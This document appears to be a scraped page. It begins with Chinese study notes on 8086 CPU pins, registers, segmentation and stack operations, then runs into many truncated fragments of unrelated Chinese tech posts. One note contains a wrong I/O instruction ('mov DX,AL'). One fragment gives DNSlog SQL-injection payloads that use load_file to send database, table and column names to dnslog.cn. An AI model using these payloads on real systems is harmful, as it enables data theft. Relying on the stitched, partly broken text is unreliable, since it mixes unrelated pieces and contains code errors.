外部结构就是封装出来的输入输出引脚。8086/8088有40个引脚。
- 8086片内片外的数据总线都是16位
- 8088片内16位,而片外8位
如此前绪论所说,部分引脚专用,部分引脚复用,复用部分需要掌握其时序。
CPU的这些引脚功能:
举个例子讲解一下这些引脚:
当CPU向外部(存储器/IO接口)写数据时,上图的WR引脚应为有效(低电平)
RD是读信号。
而区分操作存储器和I/O接口的是M/IO引脚
在此基础上可以设计逻辑电路来控制更具体的事情,比如WR和M/IO连接一个或门,就能产生IOW信号等。
8086CPU有20条地址线A19A<sub>16</sub>、A<sub>15</sub>A0,可以寻址\(2^{20}\)字节的空间,也就是1M空间,地址空间大小为1MB。
总线竞争:多个设备端口同时激活。
端口如下图右下角部分所示:
具体而言,外设芯片是有手册的,当我们操作显卡,就要查VGA相关的手册,鼠标和键盘就有另一个芯片来管理。
手册上会详细说明端口的作用,在程序中用指令向端口赋值即可。
上面提到,一个IO端口至少占用一个IO地址----IO端口地址。根据端口地址和存储器是否一起编址,有:
统一编址
独立编制
举个例子
某个I/O端口的地址为2000H,则访问如果要输出数据到该端口,汇编语言应该这样写:
mov AL,01H
;这里是要输出的数据量,仅是一个参考
;该课程中这里要点一个灯
mov DX,2000H
mov DX,AL
;注意这里跟存储器的并不同,没有中括号
不论CPU型号如何,其内部基本都有以下结构:
ALU:必须,算术逻辑运算
地址寄存器可以充当数据寄存器
数据寄存器不能充当地址寄存器
控制器:负责取指令,放在指令寄存器中,译码
I/O控制逻辑:与外部I/O打交道,使得CPU可以响应I/O设备发出的中断请求。
这部分要与其实跟计组没多大差别了,要结合CPU"取指执行"的思想来理解。
学到这里突然想复习 流水线 Verilog 什么的了。
因为上面的图还是很笼统,怎么判断、怎么控制时序都还没有涉及。先忍住,把接口部分学完。
上图并不完整,如果从存储器中取出的是数据data而不是指令 instructions ,则直接放入数据寄存器或者指定寄存器(也不属于控制器的范畴了)
来自计操的补充:
- 说 堆 特指 堆
- 说 堆栈 指的是 栈
堆栈在存储器空间中,大小和位置都是编程自定义的。
8086中堆栈必须按字操作
堆栈操作的代表性指令是
push ax
pop ax
;如果是8086的按字操作规定,目的寄存器就不能是AL
堆栈基址寄存器:sp,初始置向栈底+1(也就是栈底再向下的一个存储单元),这个位置是程序设定的。
假如执行以下操作:
push ax;第1步
push bx;第2步
第1步中,sp先-2空出一个字,然后AX分高低八位分别存入这个空字的高低存储单元。
第2步重复第1步操作。
如果要pop堆栈中的值,则是上述逆过程,先取出栈顶的值,再sp+2。
堆栈溢出:
2.3节讲解的是处理器的工作思路,或是说 “取指执行”的计算机思想。下面介绍8086CPU的内部结构(仍然符合2.3节的大致思路)。
有一个问题,地址总线20位,意味着可以寻址1MB地址空间;而CPU内部寄存器只有16位。
如何用16位寄存器存放20位的地址信息呢?
8086的设计是:讲存储器分为逻辑段,一个寄存器负责寻址段,一个寄存器负责寻址段内空间,也就是一个段内最多64KB(\(2^{16}\)byte)空间。
各种段基址寄存器以及指令寄存器就在上图BIU右上角
这里的转化的具体过程就是在上图的地址产生与总线控制单元进行的。
转化公式为:
CS:IP(CS左移4位+IP),也就是
(CS << 4) + IP
BIU右下角的指令队列充当的是2.3节的IR指令寄存器的角色,8086中有6个字节,8088中4个字节。
这是两个CPU内部结构唯一的区别。
总结,BIU负责外部存储器取出指令、取出数据,并将取出的指令放入指令队列,对应 “取指”。数据通过ALU总线直接送入EU。
总结放在前面:负责从指令队列中获取指令,对该指令译码并执行,对应“执行”。
这里可以看出,指令队列的存在,可以使得两个部分的性能都得到提升。
而外部总线在上图过程中始终处于忙状态,总线的使用率也上升。
8086内部共有14个16位寄存器:
通用寄存器 (EU左上角)
地址指针寄存器与变址寄存器
地址指针寄存器
SP:堆栈指针寄存器
BP:地址指针寄存器
BP与BX在做地址指针时的区别:
mov BX,002H mov BP,002H mov AL,34H mov [BX],AL;1 mov [BP],AL;2
1处AL值默认放到了数据段的BX偏移处,2处AL值默认放到了堆栈段的BP偏移处。
如果要使它们不默认,可以将上面代码表示地址的中括号内加上它们的目的段基址寄存器如:
mov SS:[BX],AL ;此时BX表示堆栈偏移 mov DS:[BP],AL ;此时BP表示数据段偏移
变址寄存器
SI:源变址寄存器
DI:目的变址寄存器
找到的都是DS段的地址
变址寄存器中“变”的概念来自于8086对字符串的处理。
具体涉及8086指令系统中的字符串操作指令。
如将字符串搬运到存储器另一个位置,源字符串的位置需要定义在DS:SI,目的字符串的位置定义在DS:DI。
DS:SI==(DS<<4)+SI
当使用movsb或movsw(无操作数指令),自动从源字符串搬运到目的字符串。(两者的区别是按字节搬运和按字搬运)
在这个字符串操作过程中,DI和SI是在自动增加的,所以其名字中的“变”不言而喻。
当DI和SI像BP一样进行普通数据段操作时,不会自己增加。
段寄存器
8086汇编程序结构分为若干逻辑段,汇编后放到存储器的不同段。
CS:代码段基址寄存器
DS:数据段基址寄存器
ES:附加数据段基址寄存器
SS:堆栈段基址寄存器
在代码段开始时,赋值DS ES SS,使其符合自己安排的位置,而CS由操作系统安排。
所以不会出现mov CS,AX
突然感觉这个原理有点古董。
控制寄存器
IP:指令指针寄存器,相当于2.3节的程序计数器PC
代码段的偏移地址
PSW:处理器状态字寄存器,设置9个状态位。
6个状态位表达ALU运算后的程序状态。
控制标志:控制CPU的运行状态
DF方向控制,在字符串操作中,DF0,变址寄存器SI DI自增;DF1,SI DI自减
即控制SI DI的变化方向
IF中断允许标志,IF=1时,CPU可以响应可屏蔽中断请求(也就是外部中断);IF=0时,CPU不响应中断请求。
中断是操作系统中很重要的概念,开中断和闭中断的指令为
sti cli
TF陷阱标志/单步标志:TF=1时,CPU处于单步执行方式,每次执行一条指令自动执行一次特定的内部中断,具体应用就是Debug。
汇编语言中的pushF
表示将PSW标志寄存器压栈,popF
表示将栈顶出给PSW
地址线:A19-A16,A15-A10,A9-A0
8086给存储器编址20根地址线,IO16根地址线(A0~A15)
在早期IBM pc机中,给IO分配A9-A0地址线来寻址1KB空间,
三种格式:字节型、字型、双字型
字节型数据:
一个字节型数据对应一个地址单元。
汇编语言设计中,字节型数据定义在存储器中的DS段,具体用DB这个伪指令来定义
伪指令用于汇编器如何来翻译汇编代码。
字型数据:
对应两个相邻的地址单元。
定义伪指令为DW,如将字型数据5678H放入存储器0003H和0004H位置,则78H放在字的低地址0003H,56放在字的高地址0004H。
这里有一个对准和不对准的问题。如果字数据地址为奇地址,则称为未对准,偶地址则对准(比如上面的例子就是未对准)
对准的数据 进行 访存指令花费时间更短。未对准会多花费一个时间周期,这与数据总线的传输机制有关。
为了防止自己脑袋忘记,提示:对准情况下,高字节对应高地址,地址单元为奇,走高八位数据线(一个是线,一个是字节)
双字型数据:
对应两个字,也就是4个存储单元。
定义伪指令为DD。
在汇编语言中使用[BX /BP/ SI/ DI],是指寄存器所存的内容,也就是地址;使用BX BP SI DI—指的是寄存器本身。
为什么要分段
如何分段:
一个逻辑段最大64K,每个逻辑段的起始地址必须可以被16整除
因此理论上讲,1MB的地址空间,可以分64K(\(2^{16}\))个逻辑段,正好是16位寄存器可以描述的。
物理地址
这个上面3.1部分也提到过,要从段基址(段的起始地址)+段偏移的形式重新得到真实的物理地址。
物理地址的唯一性:
由于段相互有叠加(按照被16整除的判断标准),所以一个单元的逻辑地址只是可能不同。但是物理地址一定不同,物理地址是站在存储器全局为每个单元分配的门牌号。
虽然段在理论上(按16整除)会重叠,但实际上,汇编源程序是自己定义的各个段,操作系统分别将其装入内存,不会发生段覆盖的情况。
编程、调试都是逻辑地址
物理地址(PA)的形成
也就是上面3.1节的转化公式。
物理地址=段基址X16(16进制左移一位)+段内偏移地址(段内有效地址)。
取指令
CPU如何实现取指令?
CS:IP
即 CS(段基地址)X16+IP(段内偏移地址),取指令所存储的物理地址
接着8086按照计算后的物理地址去存储器找指令取出。
课程这里(11讲21分钟时)提到了无条件跳转,老师讲的是代码段间的无条件跳转。
据我所知,这部分比较复杂,老师估计是想强调一下cs:ip的存储器取指特性,所以具体的后续再提。
特性:CS和IP是用户不可写入的,CS是操作系统将代码从磁盘放入内存后初始化的,IP不可写入但是会改变,除了自增外还会跳转。
为了更明确说明物理地址的形成,再举一个例子,存储器写操作:
mov [bx],ax
这就是将ax中的值写入ds:bx中去,如果硬要扯一下第3部分EU BIU的知识,那就是EU先将16位地址BX沿内部数据总线传送到BIU,BIU停下取指操作,配合EU去进行写存储器的操作,BIU将BX放到加法器中产生物理地址,输出20位物理地址后放到地址线,AX值放到数据线。
如果对齐,一个时间周期完成;如果不对齐,两个时间周期。
堆栈操作(SS:SP),跟上述过程相似。
这部分跟指令系统中的寻址方式是分不开的,指令系统会在下一部分整理。
关于各种逻辑段偏移寄存器指定与不可指定的灵活性,下面是一个小总结:
这个表里总结了操作中的默认寄存器以及可以替代的寄存器,比如取指令CS必须与IP搭配,不得自己指定寄存器寻址或者段地址。
大家好,又见面了,我是你们的朋友全栈君。目录前言1.AD7705简介1.1特性参数1.2功能方框图1.3引脚排列及其功能2.片内寄存器2.1通信寄存器2.1.1通讯寄存器手册说明2.1.2通信寄存器配置(RS2=0,RS1=0,RS0=0)2.2设置寄存器2.2.1设置寄存器手册说明2.2.2设置寄存器配置(RS2=0,RS1=0,RS0=1)2.3时钟寄存器2.3.1时钟寄存器手册说明2.3.2时钟寄存器配置(RS2=0,RS1=1,RS0=0)2.4数据寄存器(RS2=0,RS1=1,RS0=1)2.5测试寄存器(RS2=1,RS1=0,RS0=0)2.6零标度校准寄存器(RS2=1,RS1=1,RS0=0)2.7满标度校准寄存器(RS2=1,RS1=0,RS0=1)3.STM32F10x驱动程序3.1SPI代码3.1.1SPI与STM32引脚连接图3.1.2SPI.H代码3.1.3SPI.C代码3.2AD7705程序3.2.1AD7705.H3.2.1AD7705.C前言读者必读:本人在专业实习的时候用到了外部ADC模块——AD7705,在使用的过程中参考过很多资料,有些资料非常
文章目录1.窗口绘图类1.1QPainter绘制文字绘制点1.2QPen1.3QBrush1.4QPixmap2.拖拽与剪贴板2.1拖拽2.2剪贴板QClipboard3.日历与时间3.1QCalendar3.2QDateTimeEdit4.菜单栏、工具栏、状态栏4.1菜单栏QMenuBar4.2工具栏QToolBar4.3状态栏QStatusBar5.QPrinterlearnfrom《PyQt5快速开发与实战》 https://doc.qt.io/qtforpython/index.html https://www.riverbankcomputing.com/static/Docs/PyQt51.窗口绘图类1.1QPainter在QWidget上执行绘图操作在QWidget.paintEvent()中完成,绘制方法必须在QtGui.QPainter对象的begin()和end()之间绘制文字#_*_coding:utf-8_*_ #@Time:2022/5/69:26 #@Author:Michael #@File:painter1.py #@desc: importsys f
EasyGBS和各类执法终端的对接能够在移动执法的取证上起到重要作用,可以利用手机、智能眼镜、监控摄像头等视频采集设备,进行视频、图像采集、传输,录制、存储以及采集过程的指导沟通协作,将实时的视频、音频、图像数据发送到EasyGBS视频平台。执法记录仪接接入进EasyGBS的方法也很简单,执法记录仪设备无法通过IP直接访问设置,其实本质上还是使用国标GB28181接入,本文就分享下执法记录仪接入EasyGBS的方法。首先在执法记录仪端设置好EasyGBS的基础参数,本质上与国标摄像头的接入是没有任何区别的,如图所示设置好:设备端完成设置后,将平台刷新尝试播放视频观察能不能正常播放。此现场在测试时出现一些问题,通过抓包发现是设备在注册时平台没有返回信息。有了抓包数据就可以帮助我们很快的找到问题点,这里我们看一下设备的配置和平台有没有问题,发现没有找到可疑的地方,于是尝试将服务重新启动一下,这也是我们经常做的步骤,重启后可以播放说明确实是没有问题,可能在初次连接时出现了异常。视频可以播放后现场客户有传输音频的需求,但实际的传输并没有音频数据传过来。这里在执法记录仪端设置AAC的格式,设置好
本文为博主落尘曦的原创文章。如转载请注明链接! https://blog.csdn.net/qq_23994787/article/details/73612870本案例使用Servlet+jsp制作,用MyEclipse和Mysql数据库进行搭建,详细介绍了搭建过程及知识点。主要功能有:1.用户注册2.用户登录3.用户列表展示4.用户信息修改5.用户信息删除涉及到的知识点有:1.JDBC2.Servlet3.过滤器4.EL与JSTL表达式1.首先打开mysql数据库新建一个数据库test,然后生成对应的表结构CREATETABLE`user`( `id`int(11)NOTNULLauto_increment, `name`varchar(255)NOTNULL, `pwd`varchar(255)NOTNULL, `sex`varchar(255)NOTNULL, `home`varchar(255)NOTNULL, `info`varchar(255)NOTNULL, PRIMARYKEY(`id`) )ENGINE=InnoDBAUTO_INCREMENT=5DEFAULTCH
上一篇《不可不知的Linux中三种缓冲模式》中说到了三种缓冲类型,这一篇主要讲与缓冲相关的函数,这些函数可以修改默认的缓冲类型,及在实际中可能遇到的问题。 与缓冲相关的函数 我们知道标准错误永远是无缓冲的。当标准输入输出指向的是交互式设备(如终端)的时候,它们是行缓冲的。若不是则是全缓冲的。 那么这些默认的缓冲类型如何修改?其实可以通过这些函数修改:#include<stdio.h> voidsetbuf(FILE*stream,char*buf); voidsetbuffer(FILE*stream,char*buf,size_tsize); voidsetlinebuf(FILE*stream); intsetvbuf(FILE*stream,char*buf,intmode,size_tsize); 复制参数说明如下:streamFILE*类型,文件指针 buf缓冲区指针 mode缓冲模式,包括_IOFBF(全缓冲),_IOLBF(行缓冲),_IONBF(不带缓冲) size缓冲区大小setbuf()的缓冲区长度必须为BUFSIZ(定义在stdio.h),否则可
大数据文摘出品来源:medium编译:千雪、aileen虽然现在大家很容易获取机器学习和数据科学的学习工具,但是除了学习如何使用工具以外,往工具里输入数据之前如何有效地探索数据,并找出其局限性也同样重要。最令人惊讶的是,总有很多人经常不看数据就开始构建模型,这很明显是一个错误行为。想构建一个有效的模型,就必须了解如何收集数据,以及数据之间在哪些地方存在差距。无论你是要处理Excel表格里的几百行数据还是TB级别的图像分类数据集,这都同样重要。因为数据是从现实世界中收集而来的,而现实世界充满了怪诞奇葩的事,所以每一个现实世界的数据集也都充满了不确定性。目前在COVID-19流行期间,人们日常关注的疫情数据就是如此:每天收集整理并修正来自全世界的数据,这并不是一件容易的事。因此,你现在看到的报告数字,就显示出了你在其他现实世界的数据集中也能看到的差别和问题。现在,让我们一起来看看COVID-19的报告数据,感受一下如果不提前检查数据就开始构建模型,我们将会出现哪些错误。第1课:不同的数据收集方式会创造出并不真实的数据趋势COVID-19的国际报告标准是要求每个国家或地区报告医院的每天死亡人
自疫情出现,“非接触式”一词闯入了大众视野,市民都主动或被动选择了“非接触式”生活方式。逛超市购物也变成了非接触配送。为减少病毒的传播和增强自我防范意识,“非接触式”成为了市民近期的生活状态。国泰君安证券分析师认为,经历此次疫情后,更多企业意识到科技创新和智慧服务的重要性,非接触式消费持续走红。此次疫情中,很多企业面临“开工难、找人难以及人力成本高企”等问题,部分劳动密集型的企业受到较大冲击,而自动化水平较高的企业复工及招工难度明显更小,更多企业意识到科技创新和智慧服务的重要性,采用自动化产线和无人工厂的意愿都会增加。同时,消费者会更加倾向人机自助式消费,而不是人际接触式消费,非接触式消费会持续走红,例如智慧餐厅、非接触式外卖、无人零售、智能物流、无人机配送等,疫情有望催生一批互联网、大数据、人工智能等领域的新技术、新产业、新业态,给新兴产业带来新机遇。智慧餐厅:科技创新和智慧服务的重要性日益提升餐饮作为非常传统的服务型行业,近年来科技创新不断促使其转型升级,智慧餐厅加速发展被提上日程。智慧餐厅主要针对前端、中端及后端三个方向的数字化升级推进,前端主要是利用大数据分析技术,通过收集分析
本文转自公众号『涛哥聊Python』,详情请关注该公众号:不言而喻,备份对我们日常工作是非常重要的,前有GitLab误删300G数据实时恢复数据刺激过程,后有腾讯云故障丢失客户数据,遭千万索赔的尴尬场景。实际生活中类似的事情或多或少都会有那么一些。比如电脑蓝屏,虚拟机突然坏掉,导致一天都在重新折腾配置工作环境,比如误删了自己电脑里面相册数据或者开发文档,导致重新整理或书写,甚至直接电脑摔坏或者被偷了。这一系列问题多多少少与我们备份有关,今天我主要分享几个我日常用的比较多的备份工具给大家。Git版本控制系统提到备份,毫无疑问必须是版本控制系统--Git。首先我们简单解释一下什么是版本控制,它主要是记录一个或多个文件内容变化,以便将来进行查阅版本修订的系统。有了Git,你能很容易追溯到历史的各个版本,你能随意更改变更,最后很容易回到之前的样子,几乎不会增加额外的工作就能实现。说到这里,就要解释下为什么我不喜欢用word进行写文档,而是用Markdown,不仅仅Markdown简单好用易于排版,还有一个md文件是普通文本文件,而word生成的docx是二进制文件,只能监听到改动却无法对改动进
JavaNIODatagramChannel是一个能够发送和接受UDP包的通道。由于UDP是一个无连接的网络协议,因此不能像其他通道那样读取和写入。它发送和接受的都是数据包。打开一个DatagramChannel下面是一个打卡DatagramChannel的例子:DatagramChannelchannel=DatagramChannel.open(); channel.socket().bind(newInetSocketAddress(9999));复制这个例子打开了一个DatagramChannel,能从UDP端口9999接受数据。接受数据调用DatagramChannel的receive()方法接受数据,例如:ByteBufferbuf=ByteBuffer.allocate(48); buf.clear(); channel.receive(buf);复制receive()方法将接受的数据包内容复制到传入的Buffer中。如果接受的数据包内容比Buffer容量大,剩下的数据将会被丢弃。发送数据调用DatagramChannel的send()方法发送数据,例如:Stringn
初探:首先打开题目,发现index.php是登录界面,寻找register.php,表单内容如下<formaction="register.php"method="GET"> 用户名:iscc_<inputtype="text"name="uname"placeholder="请输入四位数字"/> <br/><br/> 密码:<inputtype="password"name="pwd"/> <br/><br/> <inputtype="submit"value="注册"> </form>复制可以知道用户名的格式。提交后显示:注册功能已经关闭。简单测试了一下登录界面发现存在注入,但是过滤了很多关键词,不能直接绕过。于是继续寻找其他信息,在index.php的响应头中发现hintContent-Encod
今日问题: 0.1mssocketa过来一起个请求a 0.2mssocketb过来一起个请求b epoll_wait返回结果是什么 我不懂epoll原理呀不知道如果回答和ET有关系吗?解决方式manepoll1ET方式什么情况下进行下次能触发当前socket的缓冲区 可读如果做(你发送过来数据起我完全读完) 可写如何做(我这次发送数据必须发送完毕)2为什么ET一般采用非舒塞模式在epoll_wait返回之后为了满足上面#1要求 必须读完或者写完,不然就就阻塞哪里 影响其他业务3Ifmorethanoneeventoccursbetweenepoll_wait(2)calls,aretheycombinedorreportedseparately?A7Theywillbecombined. 在epoll_wait返回之后处理业务期间之后会触发的将会合并4 如何解决业务处理时间长导致 看Q9 DoIneedtocontinuouslyread/writeafiledescriptoruntilEAGAIN whenusingtheEPOLLETflag(edge-trig-geredbeh
今年6月1日,备受瞩目的《中华人民共和国网络安全法》正式付诸实施。上一周我们从金融行业的角度和大家分享了在这部新法律框架下用户将要面对的难点和痛点,今天我们就针对这些难点给出有效的解决方案。解决方案一、需求背景《网络安全法》明确金融机构为国家信息安全重点保护对象,并且强调了网络运营者(金融机构)对收集到的个人信息的保护力度。而针对目前金融行业主流防护体系依然是基于大量安全产品的简单组合,存在较多的不足:各产品间耦合度较低,难以实现真正的整体协同应对攻击;每天产生海量的数据信息,很难实现人工式的统计分析;各种未知攻击事件,难以及时判断和预警等等;安恒信息作为金融行业安全建设的实践者,云计算安全,大数据安全的先行者,在深刻理解金融行业合规需求和自身安全需求的基础上,利用AILPHA大数据智能分析平台帮助金融机构解决以上“安全孤岛”的问题,去感知、促进、防护金融机构收集到个人信息的系统、网络的安全,防止信息泄露、毁损或丢失。二、建设目标通过对网内安全数据进行快速收集、自动化的关联分析,利用大数据分析技术可事先提前洞悉各种对机构收集到核心数据的安全威胁,并在事后进行整个事件的威胁溯源,遵循威胁
数据分析流程结构图(后台回复“lc”,下载高清原图)1.数据采集了解数据采集的意义在于真正了解数据的原始面貌,包括数据产生的时间、条件、格式、内容、长度、限制条件等。这会帮助数据分析师更有针对性的控制数据生产和采集过程,避免由于违反数据采集规则导致的数据问题;同时,对数据采集逻辑的认识增加了数据分析师对数据的理解程度,尤其是数据中的异常变化。比如:Omniture中的Prop变量长度只有100个字符,在数据采集部署过程中就不能把含有大量中文描述的文字赋值给Prop变量(超过的字符会被截断)。在Webtrekk323之前的Pixel版本,单条信息默认最多只能发送不超过2K的数据。当页面含有过多变量或变量长度有超出限定的情况下,在保持数据收集的需求下,通常的解决方案是采用多个sendinfo方法分条发送;而在325之后的Pixel版本,单条信息默认最多可以发送7K数据量,非常方便的解决了代码部署中单条信息过载的问题。(Webtrekk基于请求量付费,请求量越少,费用越低)。当用户在离线状态下使用APP时,数据由于无法联网而发出,导致正常时间内的数据统计分析延迟。直到该设备下次联网时,数据
题目(来源:Jarvis-OJ):AndroideasyDDAndroidEasyDD-AndroidNormalFindPassSmali爬楼梯Androideasy使用APKToolBOX中的jadx打开该apk文件找到MainActivity查看主函数,如下所示packagecom.a.sample.androidtest; importandroid.content.Context; importandroid.os.Bundle; importandroid.support.v7.app.AppCompatActivity; importandroid.view.View; importandroid.view.View.OnClickListener; importandroid.widget.EditText; importandroid.widget.Toast; publicclassMainActivityextendsAppCompatActivity{ privateEditTexteditText; privatebyte[]s=newbyte[]{(byte
定义 先看看某度某科怎么定义的 在软件业,AOP为AspectOrientedProgramming的缩写,意为:面向切面编程,通过预编译方式和运行期间动态代理实现程序功能的统一维护的一种技术。AOP是OOP的延续,是软件开发中的一个热点,也是Spring框架中的一个重要内容,是函数式编程的一种衍生范型。利用AOP可以对业务逻辑的各个部分进行隔离,从而使得业务逻辑各部分之间的耦合度降低,提高程序的可重用性,同时提高了开发的效率。 通俗的说就是,在进入你的业务逻辑代码之前,先执行一些方法操作,或者业务方法执行之后,继续执行一些操作方法,可以用来做什么呢 你想给你的网站加上鉴权, 对某些url,你认为不需要鉴权就可以访问, 对于某些url,你认为需要有特定权限的用户才能访问 对于某些业务方法,我想监控调用频率,执行性能 还有骚操作的一种。收集用户经常访问的模块,搜索关键字,喜欢看什么,使用习惯,(看到这里,笑容渐渐邪恶啊)提供模型给我们的算法和机器学习,用来优化我们的推荐机制,没错,就是你在一个网页里搜索了东西,其他的
DNSlog外带数据注入 用到的网站 http://dnsbin.zhack.ca/ http://dnslog.cn/ http://ceye.io/ pyload: 查库 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",database(),".kkc53r.dnslog.cn\\xxx.txt"))--+ 查表 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",(selectgroup_concat(table_nameSEPARATOR'-')frominformation_schema.tableswheretable_schema='security'),".kkc53r.dnslog.cn\\xxx.txt"))--+ 查列 http://192.168.232.128/sqllabs/Less-8/?id=1'andload_file(concat("\\\\",(select
这个在线预览Office文档这个东西,比如说word、excel、ppt、PFD这些东西,我刚开始做的时候用的C#手敲的。 可以做完之后就发现太**丑了~ 咳咳,原归正传,自己写的太丑了,后来就干脆调用了网上的接口,提前声明不是为这个平台打广告,就是感觉比较好用给大家分享一下 平台名称是:永中软件 官网链接:https://www.yozosoft.com/ 点击红框的地方 再点,登录账号,你会进入到控制台,这里首先点开域名管理,新建一个域名管理,你添加完域名之后他会给你生成一个域名Key 这个域名Key用途是:接口参数 创建完域名自动生成Key后,以下面这种格式穿件一个连接,到时候把链接直接放到你前台的a标签上,点击a标签就可以了 http://dcsapi.com/?k=域名key&url=要预览的文件下载地址(就是你的域名/找到你的Office文档就行了记得加上文档后缀) 例如:http://dcsapi.com/?k=1744232&url=http://58.215.166.234/example/doc/doctest.docx(这个链接
DECLARE--预定义异常信息不声明异常 v_empnoemp.empno%TYPE:=&empno; v_salemp.sal%TYPE; BEGIN SELECTsalINTOv_salFROMempWHEREempno=v_empno; IFv_sal<=1500THEN UPDATEempSETsal=sal+100WHEREempno=v_empno; DBMS_OUTPUT.PUT_LINE('编码为'||v_empno||'员工工资已更新!'); ELSE DBMS_OUTPUT.PUT_LINE('编码为'||v_empno||'员工工资已经超过规定值!'); ENDIF; END; ------------------------------------------------------------------------------------------------------ --用户自定义异常 DECLARE v_empnoemp.empno%TYPE:=&empno; --声明变量V_empno,类型emp.empno%TYP
关于flask分页可以用如下代码 {%macroreturn_page_data(page_data,page_function)%} <divclass="pages"> <ulclass="page_data"> <li><ahref="{{url_for(page_function,page=1)}}">首页</a></li> {%ifpage_data.has_prev%} <li><ahref="{{url_for(page_function,page=page_data.prev_num)}}">>«</a></li> {%endif%} {%forpageinpage_data.iter_pages()%} {%ifpage%} {%ifpage!=page_data.page%} <li><ahref="{{url_for(page_function,page=page)}}">{{page}}</a><
CRankofTetris 来源:HDU1811 并查集,拓扑排序 题意:N个人M条大小关系,问是否可以将这些人排序,如果同时存在不能确定和冲突的情况按冲突识别 很明显对于相等的我们可以把它合并在一起(因为相等的点我们一定可以内部排序),第一遍先遍历关系合并,第二遍遍历关系对于不等的点根据大小关系在他们的组长节点之间连一条单向边(刚开始写把相等也连了,然后de了半天),然后就拓扑排序并记录进队的节点数,存在环时,进队的节点数应该是小于联通块数地,而且如果某时刻队里有>1个元素,那么这几个元素的大小关系就无法确定。 #include<bits/stdc++.h> usingnamespacestd; typedeflonglongll; #defineIOSios_base::sync_with_stdio(false);cin.tie(0); #definemaxn10005 #defineinf1000000002 #definefor_(i,n)for(int(i)=1;(i)<=(n);i++) #definemod80112002 structno